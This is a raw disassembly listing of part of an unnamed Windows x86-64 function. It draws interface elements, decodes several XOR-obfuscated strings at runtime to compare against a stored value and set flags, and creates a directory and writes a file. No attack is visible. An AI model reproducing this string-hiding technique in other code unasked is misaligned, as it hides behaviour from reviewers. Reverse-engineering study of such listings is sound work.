movss dword [rbp - 0x30], xmm0
mov rdx, qword [0x1402b13f0]
lea rcx, [rbp - 0x40]
movaps xmm1, xmm2
mov dword [rsp + 0x30], 0xffffffff
addss xmm1, dword [0x140108a68]
mov qword [rsp + 0x28], rcx
lea r9, [rbp - 0x30]
lea rcx, [rbp - 0x38]
movss dword [rbp - 0x28], xmm3
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x28]
mov rcx, rax
movss dword [rbp - 0x24], xmm2
movss dword [rbp - 0x2c], xmm1
call fcn.1400739d0
call fcn.140064210
lea rcx, [rbp + 0x1250]
mov rsi, rax
call fcn.140064240
movaps xmm0, xmmword [0x140108ac0]
lea rcx, [rbp + 0xce8]
movups xmmword [rbp + 0xce8], xmm0
call fcn.140060a60
movss xmm3, dword [rbp + 0x1250]
lea r8, [rbp - 0x20]
movss xmm2, dword [rbp + 0x1254]
lea rdx, [rbp - 0x18]
movaps xmm0, xmm3
mov dword [rsp + 0x28], 3
addss xmm0, dword [0x140108a78]
movaps xmm1, xmm2
movss dword [rbp - 0x18], xmm3
addss xmm1, dword [0x140108a28]
mov r9d, eax
movss dword [rbp - 0x14], xmm2
mov rcx, rsi
movss dword [rsp + 0x20], xmm11
movss dword [rbp - 0x20], xmm0
movss dword [rbp - 0x1c], xmm1
call fcn.140074c10
movaps xmm0, xmmword [0x140108ad0]
lea rcx, [rbp + 0xcf8]
movups xmmword [rbp + 0xcf8], xmm0
call fcn.140060a60
movss xmm3, dword [rbp + 0x1250]
lea r8, [rbp - 0x10]
movss xmm2, dword [rbp + 0x1254]
lea rdx, [rbp - 8]
movaps xmm1, xmm2
mov dword [rsp + 0x28], 0xf
addss xmm2, dword [0x140108a18]
movaps xmm0, xmm3
movss dword [rbp - 8], xmm3
addss xmm0, xmm10
movss dword [rsp + 0x20], xmm11
addss xmm1, xmm6
mov r9d, eax
mov rcx, rsi
movss dword [rbp - 4], xmm2
movss dword [rbp - 0x10], xmm0
movss dword [rbp - 0xc], xmm1
call fcn.140074c10
movaps xmm0, xmmword [0x140108ae0]
lea rcx, [rbp + 0xd08]
movups xmmword [rbp + 0xd08], xmm0
call fcn.140060a60
movss xmm2, dword [rbp + 0x1250]
lea r8, [rbp]
movss xmm1, dword [rbp + 0x1254]
lea rdx, [rbp + 8]
addss xmm1, xmm6
mov dword [rsp + 0x28], 0xc
movaps xmm0, xmm2
movss dword [rbp + 8], xmm2
addss xmm0, xmm10
movss dword [rsp + 0x20], xmm11
mov r9d, eax
mov rcx, rsi
movss dword [rbp + 4], xmm1
movss dword [rbp + 0xc], xmm1
movss dword [rbp], xmm0
call fcn.140074c10
mov rcx, qword [0x1402b1948]
call fcn.14006b090
movabs rax, 0xa2675b4d9b981541
mov qword [rbp + 0x1bf0], rbx
mov qword [rbp + 0x570], rax
lea rcx, [rbp + 0xd18]
movabs rax, 0xf5c1da45dce10449
mov qword [rbp + 0x1bf8], rdi
movdqa xmm0, xmmword [rbp + 0x1bf0]
mov qword [rbp + 0x578], rax
movabs rax, 0x16093b5868b81f5f
xorps xmm0, xmmword [rbp + 0x570]
mov qword [rbp + 0x580], rax
movabs rax, 0xdc34002ced88705f
mov qword [rbp + 0x588], rax
movabs rax, 0x7866522c1dd4702c
mov qword [rbp + 0x1c00], rax
movabs rax, 0xdc34002ced88702c
mov qword [rbp + 0x1c08], rax
movdqa xmm1, xmmword [rbp + 0x1c00]
xorps xmm1, xmmword [rbp + 0x580]
movdqa xmmword [rbp + 0x570], xmm0
movaps xmm0, xmmword [0x140108aa0]
movdqa xmmword [rbp + 0x580], xmm1
movups xmmword [rbp + 0xd18], xmm0
call fcn.140060a60
movss xmm0, dword [0x1402b1920]
lea r9, [rbp + 0x570]
movss xmm1, dword [0x1402b1924]
lea rdx, [rbp + 0x10]
addss xmm0, dword [0x140108a04]
addss xmm1, xmm12
mov qword [rsp + 0x20], 0
mov r8d, eax
mov rcx, rsi
movss dword [rbp + 0x10], xmm0
movss dword [rbp + 0x14], xmm1
call fcn.140074db0
mov qword [rbp + 0x2f8], rdi
lea rcx, [rbp + 0xd28]
movabs rax, 0xf0795945809f155f
mov qword [rbp + 0x19d0], rbx
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x19d8], rdi
movdqa xmm0, xmmword [rbp + 0x19d0]
xorps xmm0, xmmword [rbp + 0x2f0]
movdqa xmmword [rbp + 0x2f0], xmm0
movaps xmm0, xmmword [0x140108aa0]
movups xmmword [rbp + 0xd28], xmm0
call fcn.140060a60
movss xmm6, dword [0x1402b1920]
lea rdx, [rbp + 0x2e0]
addss xmm6, dword [0x140108a6c]
mov ebx, eax
mov qword [rbp + 0x2e8], rdi
movabs rax, 0xf0795945809f155f
mov qword [rbp + 0x18d8], rdi
mov qword [rbp + 0x2e0], rax
lea rcx, [rbp + 0xdc0]
movabs rax, 0xca17362cf3ec702c
movss dword [rsp + 0x20], xmm8
mov qword [rbp + 0x18d0], rax
xor r9d, r9d
movdqa xmm0, xmmword [rbp + 0x18d0]
xor r8d, r8d
xorps xmm0, xmmword [rbp + 0x2e0]
movdqa xmmword [rbp + 0x2e0], xmm0
call fcn.14005fb90
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x2f0]
mov r8d, ebx
lea rdx, [rbp + 0x18]
mov rcx, rsi
movss xmm0, dword [rax]
mulss xmm0, xmm7
subss xmm6, xmm0
movss xmm0, dword [0x1402b1924]
addss xmm0, xmm12
movss dword [rbp + 0x18], xmm6
movss dword [rbp + 0x1c], xmm0
call fcn.140074db0
cmp qword [0x1402b1498], 0x10
lea rdi, [0x1402b1480]
movaps xmm0, xmmword [0x140108aa0]
lea rcx, [rbp + 0xca8]
cmovae rdi, qword [0x1402b1480]
movups xmmword [rbp + 0xca8], xmm0
call fcn.140060a60
cmp qword [0x1402b1498], 0x10
lea rdx, [0x1402b1480]
movss xmm6, dword [0x1402b1920]
lea rcx, [rbp + 0xdc8]
cmovae rdx, qword [0x1402b1480]
mov ebx, eax
addss xmm6, dword [0x140108a70]
xor r9d, r9d
movss dword [rsp + 0x20], xmm8
xor r8d, r8d
call fcn.14005fb90
mov r9, rdi
mov qword [rsp + 0x20], 0
mov r8d, ebx
lea rdx, [rbp + 0x20]
mov rcx, rsi
movss xmm0, dword [rax]
mulss xmm0, xmm7
subss xmm6, xmm0
movss xmm0, dword [0x1402b1924]
addss xmm0, xmm12
movss dword [rbp + 0x20], xmm6
movss dword [rbp + 0x24], xmm0
call fcn.140074db0
call fcn.14006ac80
lea rcx, [rbp + 0x28]
mov dword [rbp + 0x28], 0
mov dword [rbp + 0x2c], 0x41a00000
call fcn.14006e1b0
cmp dword [0x1402b18dc], 0
movabs rdi, 0xdba4b42cb180702c
jne 0x140056ef4
movabs rax, 0xb07e44439b98056d
mov qword [rbp + 0x18c8], rdi
mov qword [rbp + 0x310], rax
lea rcx, [rbp + 0xd38]
movabs rax, 0xdba4b442dee9044d
mov qword [rbp + 0x318], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x18c0], rax
movdqa xmm0, xmmword [rbp + 0x18c0]
xorps xmm0, xmmword [rbp + 0x310]
movdqa xmmword [rbp + 0x310], xmm0
movaps xmm0, xmmword [0x140108b00]
movups xmmword [rbp + 0xd38], xmm0
call fcn.140060a60
movss xmm6, dword [0x1402b1920]
lea rdx, [rbp + 0x300]
addss xmm6, dword [0x140108a50]
mov ebx, eax
mov qword [rbp + 0x18b8], rdi
movabs rax, 0xb07e44439b98056d
movss dword [rsp + 0x20], xmm8
mov qword [rbp + 0x300], rax
lea rcx, [rbp + 0xdd0]
movabs rax, 0xdba4b442dee9044d
xor r9d, r9d
mov qword [rbp + 0x308], rax
xor r8d, r8d
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x18b0], rax
movdqa xmm0, xmmword [rbp + 0x18b0]
xorps xmm0, xmmword [rbp + 0x300]
movdqa xmmword [rbp + 0x300], xmm0
call fcn.14005fb90
lea r9, [rbp + 0x310]
mov qword [rsp + 0x20], 0
mov r8d, ebx
lea rdx, [rbp + 0x30]
mov rcx, rsi
movss xmm0, dword [rax]
mulss xmm0, xmm7
subss xmm6, xmm0
movss xmm0, dword [0x1402b1924]
addss xmm0, dword [0x140108a34]
movss dword [rbp + 0x30], xmm6
movss dword [rbp + 0x34], xmm0
call fcn.140074db0
lea rcx, [rbp + 0x38]
mov dword [rbp + 0x38], 0x42c80000
mov dword [rbp + 0x3c], 0x43020000
call fcn.14006e1b0
cmp qword [0x1402b1500], 0x10
lea rdx, [0x1402b14e8]
mov qword [rbp + 0x328], rdi
lea rcx, [rbp + 0x320]
cmovae rdx, qword [0x1402b14e8]
movabs rax, 0xca17365596a7530f
mov qword [rbp + 0x320], rax
movabs rbx, 0xca17362cf3ec702c
xor eax, eax
mov qword [rbp + 0x1dd0], rbx
mov qword [rsp + 0x28], rax
mov r9d, 0x8000
mov qword [rbp + 0x1dd8], rdi
mov r8d, 0x100
movdqa xmm0, xmmword [rbp + 0x1dd0]
xorps xmm0, xmmword [rbp + 0x320]
movdqa xmmword [rbp + 0x320], xmm0
mov qword [rsp + 0x20], rax
call fcn.140085780
lea rcx, [rbp + 0x40]
mov dword [rbp + 0x40], 0x430c0000
mov dword [rbp + 0x44], 0x433e0000
call fcn.14006e1b0
movabs rax, 0xca1742459e8e057f
mov qword [rbp + 0x1da0], rbx
mov qword [rbp + 0x1da8], rdi
movdqa xmm0, xmmword [rbp + 0x1da0]
mov qword [rbp + 0x330], rax
mov dword [rbp + 0x48], 0x439d8000
mov dword [rbp + 0x4c], 0x41f00000
mov qword [rbp + 0x338], rdi
xorps xmm0, xmmword [rbp + 0x330]
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x330]
movdqa xmmword [rbp + 0x330], xmm0
call fcn.140084550
test al, al
je 0x140056b4b
lea rcx, [rbp + 0x1258]
call fcn.140045330
movabs rax, 0xca1752499d82114e
mov qword [rbp + 0x158], rdi
mov qword [rbp + 0x150], rax
mov r8, 0xffffffffffffffff
xor eax, eax
mov qword [rbp + 0x1d40], rbx
mov qword [rbp + 0x1d48], rdi
movdqa xmm0, xmmword [rbp + 0x1d40]
xorps xmm0, xmmword [rbp + 0x150]
movdqa xmmword [rbp + 0x150], xmm0
xorps xmm0, xmm0
mov qword [rbp + 0xb90], rax
mov qword [rbp + 0xb98], rax
lea rax, [rbp + 0x150]
movups xmmword [rbp + 0xb80], xmm0
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140056030
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0xb80]
call fcn.140042620
lea r9, [0x1402b1480]
lea r8, [0x1402b1460]
lea rdx, [rbp + 0xb80]
lea rcx, [rbp + 0xe08]
call fcn.14004f070
cmp qword [rax + 0x18], 0x10
mov rdx, qword [rax + 0x10]
jb 0x14005607c
mov rax, qword [rax]
cmp qword [rbp + 0x1270], 0x10
lea rcx, [rbp + 0x1258]
mov r8, qword [rbp + 0x1268]
cmovae rcx, qword [rbp + 0x1258]
cmp r8, rdx
jne 0x1400560cf
mov rdx, rax
call fcn.1400bd4b0
test eax, eax
jne 0x1400560cf
lea rcx, [rbp + 0xe08]
call fcn.140009ab0
lea rcx, [rbp + 0xb80]
call fcn.140009ab0
mov byte [0x1402b13f8], r14b
jmp 0x140056b3f
lea rcx, [rbp + 0xe08]
call fcn.140009ab0
lea rcx, [rbp + 0xb80]
call fcn.140009ab0
movabs rax, 0x95735f40929a1e45
mov qword [rbp + 0x1d30], rbx
mov qword [rbp + 0x160], rax
mov r8, 0xffffffffffffffff
movabs rax, 0xdba4b42cb1f91547
mov qword [rbp + 0x1d38], rdi
movdqa xmm0, xmmword [rbp + 0x1d30]
mov qword [rbp + 0x168], rax
xor eax, eax
xorps xmm0, xmmword [rbp + 0x160]
movdqa xmmword [rbp + 0x160], xmm0
xorps xmm0, xmm0
mov qword [rbp + 0xb70], rax
mov qword [rbp + 0xb78], rax
lea rax, [rbp + 0x160]
movups xmmword [rbp + 0xb60], xmm0
inc r8
cmp byte [rax + r8], 0
jne 0x140056156
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0xb60]
call fcn.140042620
lea r9, [0x1402b1480]
lea r8, [0x1402b1460]
lea rdx, [rbp + 0xb60]
lea rcx, [rbp + 0xe68]
call fcn.14004f070
cmp qword [rax + 0x18], 0x10
mov rdx, qword [rax + 0x10]
jb 0x1400561a2
mov rax, qword [rax]
cmp qword [rbp + 0x1270], 0x10
lea rcx, [rbp + 0x1258]
mov r8, qword [rbp + 0x1268]
cmovae rcx, qword [rbp + 0x1258]
cmp r8, rdx
jne 0x1400561f5
mov rdx, rax
call fcn.1400bd4b0
test eax, eax
jne 0x1400561f5
lea rcx, [rbp + 0xe68]
call fcn.140009ab0
lea rcx, [rbp + 0xb60]
call fcn.140009ab0
mov byte [0x1402b13f9], r14b
jmp 0x140056b3f
lea rcx, [rbp + 0xe68]
call fcn.140009ab0
lea rcx, [rbp + 0xb60]
call fcn.140009ab0
movabs rax, 0x957941439d871e59
mov qword [rbp + 0x1be0], rbx
mov qword [rbp + 0x170], rax
mov r8, 0xffffffffffffffff
movabs rax, 0xdba4b458d0e5184f
mov qword [rbp + 0x1be8], rdi
movdqa xmm0, xmmword [rbp + 0x1be0]
mov qword [rbp + 0x178], rax
xor eax, eax
xorps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
xorps xmm0, xmm0
mov qword [rbp + 0xb50], rax
mov qword [rbp + 0xb58], rax
lea rax, [rbp + 0x170]
movups xmmword [rbp + 0xb40], xmm0
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140056280
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0xb40]
call fcn.140042620
lea r9, [0x1402b1480]
lea r8, [0x1402b1460]
lea rdx, [rbp + 0xb40]
lea rcx, [rbp + 0xe88]
call fcn.14004f070
cmp qword [rax + 0x18], 0x10
mov rdx, qword [rax + 0x10]
jb 0x1400562cc
mov rax, qword [rax]
cmp qword [rbp + 0x1270], 0x10
lea rcx, [rbp + 0x1258]
mov r8, qword [rbp + 0x1268]
cmovae rcx, qword [rbp + 0x1258]
cmp r8, rdx
jne 0x14005631f
mov rdx, rax
call fcn.1400bd4b0
test eax, eax
jne 0x14005631f
lea rcx, [rbp + 0xe88]
call fcn.140009ab0
lea rcx, [rbp + 0xb40]
call fcn.140009ab0
mov byte [0x1402b13fa], r14b
jmp 0x140056b3f
lea rcx, [rbp + 0xe88]
call fcn.140009ab0
lea rcx, [rbp + 0xb40]
call fcn.140009ab0
movabs rax, 0x9573535e9a9c0849
mov qword [rbp + 0x1e20], rbx
mov qword [rbp + 0x230], rax
movabs rcx, 0x7866522c1dd4702c
movabs rax, 0xb9cdc64fc2e2055f
mov qword [rbp + 0x1e28], rdi
movdqa xmm0, xmmword [rbp + 0x1e20]
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x238], rax
movabs rax, 0x7866522c1dd47049
xorps xmm0, xmmword [rbp + 0x230]
mov qword [rbp + 0x240], rax
movabs rax, 0xdc34002ced88702c
mov qword [rbp + 0x248], rax
mov qword [rbp + 0x1e38], rax
xor eax, eax
mov qword [rbp + 0x1e30], rcx
movdqa xmm1, xmmword [rbp + 0x1e30]
xorps xmm1, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x230], xmm0
xorps xmm0, xmm0
mov qword [rbp + 0xb30], rax
mov qword [rbp + 0xb38], rax
lea rax, [rbp + 0x230]
movdqa xmmword [rbp + 0x240], xmm1
movups xmmword [rbp + 0xb20], xmm0
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140056400
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0xb20]
call fcn.140042620
lea r9, [0x1402b1480]
lea r8, [0x1402b1460]
lea rdx, [rbp + 0xb20]
lea rcx, [rbp + 0xe28]
call fcn.14004f070
cmp qword [rax + 0x18], 0x10
mov rdx, qword [rax + 0x10]
jb 0x14005644c
mov rax, qword [rax]
cmp qword [rbp + 0x1270], 0x10
lea rcx, [rbp + 0x1258]
mov r8, qword [rbp + 0x1268]
cmovae rcx, qword [rbp + 0x1258]
cmp r8, rdx
jne 0x14005649f
mov rdx, rax
call fcn.1400bd4b0
test eax, eax
jne 0x14005649f
lea rcx, [rbp + 0xe28]
call fcn.140009ab0
lea rcx, [rbp + 0xb20]
call fcn.140009ab0
mov byte [0x1402b13fb], r14b
jmp 0x140056b3f
lea rcx, [rbp + 0xe28]
call fcn.140009ab0
lea rcx, [rbp + 0xb20]
call fcn.140009ab0
movabs rax, 0xb865537392981148
mov qword [rbp + 0x1bd0], rbx
mov qword [rbp + 0x120], rax
mov r8, 0xffffffffffffffff
movabs rax, 0xdba4b42cb1800243
mov qword [rbp + 0x1bd8], rdi
movdqa xmm0, xmmword [rbp + 0x1bd0]
mov qword [rbp + 0x128], rax
xor eax, eax
xorps xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x120], xmm0
xorps xmm0, xmm0
mov qword [rbp + 0xb10], rax
mov qword [rbp + 0xb18], rax
lea rax, [rbp + 0x120]
movups xmmword [rbp + 0xb00], xmm0
inc r8
cmp byte [rax + r8], 0
jne 0x140056526
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0xb00]
call fcn.140042620
lea r9, [0x1402b1480]
lea r8, [0x1402b1460]
lea rdx, [rbp + 0xb00]
lea rcx, [rbp + 0xe48]
call fcn.14004f070
cmp qword [rax + 0x18], 0x10
mov rdx, qword [rax + 0x10]
jb 0x140056572
mov rax, qword [rax]
cmp qword [rbp + 0x1270], 0x10
lea rcx, [rbp + 0x1258]
mov r8, qword [rbp + 0x1268]
cmovae rcx, qword [rbp + 0x1258]
cmp r8, rdx
jne 0x1400565c5
mov rdx, rax
call fcn.1400bd4b0
test eax, eax
jne 0x1400565c5
lea rcx, [rbp + 0xe48]
call fcn.140009ab0
lea rcx, [rbp + 0xb00]
call fcn.140009ab0
mov byte [0x1402b13fc], r14b
jmp 0x140056b3f
lea rcx, [rbp + 0xe48]
call fcn.140009ab0
lea rcx, [rbp + 0xb00]
call fcn.140009ab0
lea rdx, [rbp + 0x1258]
lea rcx, [0x1402b1528]
call fcn.140012030
cmp byte [0x1402b13f8], r14b
mov byte [0x1402b13fd], r14b
je 0x140056b3f
xorps xmm0, xmm0
mov qword [rbp + 0x1bc0], rbx
movups xmmword [rbp + 0x1360], xmm0
movabs rax, 0xa839575892885f02
mov qword [rbp + 0x1bc8], rdi
movdqa xmm0, xmmword [rbp + 0x1bc0]
mov r8, 0xffffffffffffffff
mov qword [rbp + 0xe0], rax
movabs rax, 0xdba4b42cb1801e45
mov qword [rbp + 0xe8], rax
lea rax, [rbp + 0xe0]
xorps xmm0, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0x1370], 0
mov qword [rbp + 0x1378], 0xf
mov byte [rbp + 0x1360], 0
inc r8
cmp byte [rax + r8], 0
jne 0x140056680
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x1360]
call fcn.140012060
xorps xmm0, xmm0
mov qword [rbp + 0xf8], rdi
movups xmmword [rbp + 0x12f8], xmm0
movabs rax, 0xca17362cf3ec5f02
mov qword [rbp + 0x1bb0], rbx
mov qword [rbp + 0xf0], rax
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x1bb8], rdi
lea rax, [rbp + 0xf0]
movdqa xmm0, xmmword [rbp + 0x1bb0]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x1308], 0
mov qword [rbp + 0x1310], 0xf
mov byte [rbp + 0x12f8], 0
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140056710
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x12f8]
call fcn.140012060
lea rcx, [rbp + 0x12f8]
call fcn.14004aec0
test al, al
jne 0x14005675c
cmp qword [rbp + 0x1310], 0x10
lea rcx, [rbp + 0x12f8]
cmovae rcx, qword [rbp + 0x12f8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
xor edx, edx
lea rcx, [rbp + 0x1580]
mov r8d, 0x108
call fcn.1400bc2f0
mov r9d, 0x40
mov dword [rsp + 0x20], r14d
lea rdx, [rbp + 0x1360]
lea rcx, [rbp + 0x1580]
lea r8d, [r9 - 0x3e]
call fcn.14004f670
cmp qword [rbp + 0x1608], 0
je 0x140056b1b
movabs rax, 0xac5d0f64918e4764
mov qword [rbp + 0x1c90], rbx
mov qword [rbp + 0x210], rax
movabs rcx, 0x7866522c1dd4702c
movabs rax, 0xa19cc14ffdc73643
mov qword [rbp + 0x220], rcx
mov qword [rbp + 0x218], rax
mov r8, 0xffffffffffffffff
movabs rax, 0xdc34002ced88702c
mov qword [rbp + 0x1c98], rdi
movdqa xmm0, xmmword [rbp + 0x1c90]
xorps xmm0, xmmword [rbp + 0x210]
mov qword [rbp + 0x228], rax
movdqa xmm1, xmmword [rbp + 0x220]
mov qword [rbp + 0x1ca8], rax
xor eax, eax
mov qword [rbp + 0x1ca0], rcx
xorps xmm1, xmmword [rbp + 0x1ca0]
movdqa xmmword [rbp + 0x210], xmm0
xorps xmm0, xmm0
mov qword [rbp + 0xbb0], rax
mov qword [rbp + 0xbb8], rax
lea rax, [rbp + 0x210]
movdqa xmmword [rbp + 0x220], xmm1
movups xmmword [rbp + 0xba0], xmm0
inc r8
cmp byte [rax + r8], 0
jne 0x140056856
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0xba0]
call fcn.140042620
movabs rax, 0x93657a199ade495e
mov qword [rbp + 0x1b40], rbx
mov qword [rbp + 0x510], rax
movabs rdx, 0xdf214e2c58fc702c
movabs rax, 0x92eafb5dc8b5331c
mov qword [rbp + 0x530], rdx
mov qword [rbp + 0x518], rax
movabs rcx, 0x75018c2cab10702c
movabs rax, 0x4b0303616ce5441a
mov qword [rbp + 0x538], rcx
mov qword [rbp + 0x520], rax
mov r8, 0xffffffffffffffff
movabs rax, 0xa871717480ba316b
mov qword [rbp + 0x1b48], rdi
movdqa xmm0, xmmword [rbp + 0x1b40]
xorps xmm0, xmmword [rbp + 0x510]
mov qword [rbp + 0x528], rax
movabs rax, 0x7866522c1dd4702c
movdqa xmm1, xmmword [rbp + 0x520]
mov qword [rbp + 0x1b50], rax
movabs rax, 0xdc34002ced88702c
movdqa xmmword [rbp + 0x510], xmm0
movdqa xmm0, xmmword [rbp + 0x530]
mov qword [rbp + 0x1b58], rax
xor eax, eax
xorps xmm1, xmmword [rbp + 0x1b50]
mov qword [rbp + 0x1b60], rdx
mov qword [rbp + 0x1b68], rcx
xorps xmm0, xmmword [rbp + 0x1b60]
movdqa xmmword [rbp + 0x530], xmm0
xorps xmm0, xmm0
mov qword [rbp + 0xbd0], rax
mov qword [rbp + 0xbd8], rax
lea rax, [rbp + 0x510]
movdqa xmmword [rbp + 0x520], xmm1
movups xmmword [rbp + 0xbc0], xmm0
inc r8
cmp byte [rax + r8], 0
jne 0x140056984
lea rdx, [rbp + 0x510]
lea rcx, [rbp + 0xbc0]
call fcn.140042620
cmp qword [0x1402b1500], 0x10
lea rdx, [0x1402b14e8]
xorps xmm0, xmm0
mov r8, 0xffffffffffffffff
cmovae rdx, qword [0x1402b14e8]
xor eax, eax
mov qword [rbp + 0xc10], rax
mov qword [rbp + 0xc18], rax
movups xmmword [rbp + 0xc00], xmm0
nop dword [rax]
inc r8
cmp byte [rdx + r8], al
jne 0x1400569e0
lea rcx, [rbp + 0xc00]
call fcn.140042620
lea r9, [rbp + 0xba0]
lea r8, [rbp + 0xbc0]
lea rdx, [rbp + 0xc00]
lea rcx, [rbp + 0x1380]
call fcn.14004f070
lea rcx, [rbp + 0xc00]
call fcn.140009ab0
lea rcx, [rbp + 0xbc0]
call fcn.140009ab0
lea rcx, [rbp + 0xba0]
call fcn.140009ab0
movabs rax, 0xca17362cf3ec7026
mov qword [rbp + 0x108], rdi
mov qword [rbp + 0x100], rax
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x1ba0], rbx
lea rax, [rbp + 0x100]
mov qword [rbp + 0x1ba8], rdi
movdqa xmm0, xmmword [rbp + 0x1ba0]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x100], xmm0
inc r8
cmp byte [rax + r8], 0
jne 0x140056a85
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x1380]
call fcn.140012060
cmp qword [rbp + 0x1398], 0x10
lea rdx, [rbp + 0x1380]
mov r8, qword [rbp + 0x1390]
lea rcx, [rbp + 0x1580]
cmovae rdx, qword [rbp + 0x1380]
call fcn.140042950
lea rcx, [rbp + 0x1588]
call fcn.14004adc0
test rax, rax
jne 0x140056b0f
mov rax, qword [rbp + 0x1580]
lea r9, [rbp + 0x1580]
mov edx, 6
movsxd rcx, dword [rax + 4]
mov eax, 2
add rcx, r9
cmp qword [rcx + 0x48], 0
cmovne edx, eax
xor r8d, r8d
or edx, dword [rcx + 0x10]
call fcn.14003cf20
lea rcx, [rbp + 0x1380]
call fcn.140009ab0
lea rcx, [rbp + 0x1580]
call fcn.140043530
lea rcx, [rbp + 0x12f8]
call fcn.140009ab0
lea rcx, [rbp + 0x1360]
call fcn.140009ab0
lea rcx, [rbp + 0x1258]
call fcn.140009ab0
lea rcx, [rbp + 0x50]
mov dword [rbp + 0x50], 0x430c0000
mov dword [rbp + 0x54], 0x43700000
call fcn.14006e1b0
mov qword [rbp + 0x348], rdi
lea rdx, [rbp + 0x58]
movabs rax, 0xca17362c87850869
mov qword [rbp + 0x1ad0], rbx
mov qword [rbp + 0x340], rax
lea rcx, [rbp + 0x340]
mov qword [rbp + 0x1ad8], rdi
movdqa xmm0, xmmword [rbp + 0x1ad0]
xorps xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rbp + 0x340], xmm0
mov dword [rbp + 0x58], 0x439d8000
mov dword [rbp + 0x5c], 0x41f00000
call fcn.140084550
test al, al
je 0x140056bc6
call fcn.14009a4b0
cmp byte [0x1402b13f8], r14b
jne 0x140056c2d
mov qword [rbp + 0x358], rdi
lea rdx, [rbp - 0x80]
movabs rax, 0xca3952499d82116e
mov qword [rbp + 0x1ac0], rbx
mov qword [rbp + 0x350], rax
lea rcx, [rbp + 0x350]
mov qword [rbp + 0x1ac8], rdi
movdqa xmm0, xmmword [rbp + 0x1ac0]
xorps xmm0, xmmword [rbp + 0x350]
movdqa xmmword [rbp + 0x350], xmm0
mov byte [rbp - 0x80], 0
call fcn.140050370
cmp byte [rbp - 0x80], 0
je 0x140056c2d
mov byte [0x1402b13f8], 0
cmp byte [0x1402b13f9], r14b
jne 0x140056c9e
movabs rax, 0xea735f40929a1e65
mov qword [rbp + 0x1ab0], rbx
mov qword [rbp + 0x360], rax
lea rdx, [rbp - 0x80]
movabs rax, 0xdba4b42c9ff91547
mov qword [rbp + 0x1ab8], rdi
movdqa xmm0, xmmword [rbp + 0x1ab0]
lea rcx, [rbp + 0x360]
mov qword [rbp + 0x368], rax
xorps xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x360], xmm0
mov byte [rbp - 0x80], 0
call fcn.140050370
cmp byte [rbp - 0x80], 0
je 0x140056c9e
mov byte [0x1402b13f9], 0
cmp byte [0x1402b13fa], r14b
jne 0x140056d0f
movabs rax, 0xea7941439d871e79
mov qword [rbp + 0x1aa0], rbx
mov qword [rbp + 0x370], rax
lea rdx, [rbp - 0x80]
movabs rax, 0xdba49a58d0e5184f
mov qword [rbp + 0x1aa8], rdi
movdqa xmm0, xmmword [rbp + 0x1aa0]
lea rcx, [rbp + 0x370]
mov qword [rbp + 0x378], rax
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rbp + 0x370], xmm0
mov byte [rbp - 0x80], 0
call fcn.140050370
cmp byte [rbp - 0x80], 0
je 0x140056d0f
mov byte [0x1402b13fa], 0
cmp byte [0x1402b13fb], r14b
jne 0x140056dd5
movabs rax, 0xba7e444f808e057f
mov qword [rbp + 0x1db0], rbx
mov qword [rbp + 0x5f0], rax
lea rdx, [rbp - 0x80]
movabs rax, 0xabdcd10cdfef1958
mov qword [rbp + 0x1db8], rdi
movdqa xmm0, xmmword [rbp + 0x1db0]
movabs rcx, 0x7866522c1dd4702c
mov qword [rbp + 0x5f8], rax
movabs rax, 0x7866520279b10245
xorps xmm0, xmmword [rbp + 0x5f0]
mov qword [rbp + 0x600], rax
movabs rax, 0xdc34002ced88702c
mov qword [rbp + 0x608], rax
movdqa xmm1, xmmword [rbp + 0x600]
mov qword [rbp + 0x1dc0], rcx
lea rcx, [rbp + 0x5f0]
mov qword [rbp + 0x1dc8], rax
xorps xmm1, xmmword [rbp + 0x1dc0]
movdqa xmmword [rbp + 0x600], xmm1
mov byte [rbp - 0x80], 0
movdqa xmmword [rbp + 0x5f0], xmm0
call fcn.140050370
cmp byte [rbp - 0x80], 0
je 0x140056dd5
mov byte [0x1402b13fb], 0
cmp byte [0x1402b13fc], r14b
jne 0x140056e46
movabs rax, 0xaf65575b979e1164
mov qword [rbp + 0x1a90], rbx
mov qword [rbp + 0x380], rax
lea rdx, [rbp - 0x80]
movabs rax, 0xdb8ac643c3f2350c
mov qword [rbp + 0x1a98], rdi
movdqa xmm0, xmmword [rbp + 0x1a90]
lea rcx, [rbp + 0x380]
mov qword [rbp + 0x388], rax
xorps xmm0, xmmword [rbp + 0x380]
movdqa xmmword [rbp + 0x380], xmm0
mov byte [rbp - 0x80], 0
call fcn.140050370
cmp byte [rbp - 0x80], 0
je 0x140056e46
mov byte [0x1402b13fc], 0
cmp byte [0x1402b13fd], r14b
jne 0x140056efe
cmp byte [0x1402b13f9], r14b
